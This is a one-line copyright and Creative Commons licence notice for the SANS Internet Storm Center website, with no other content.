(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.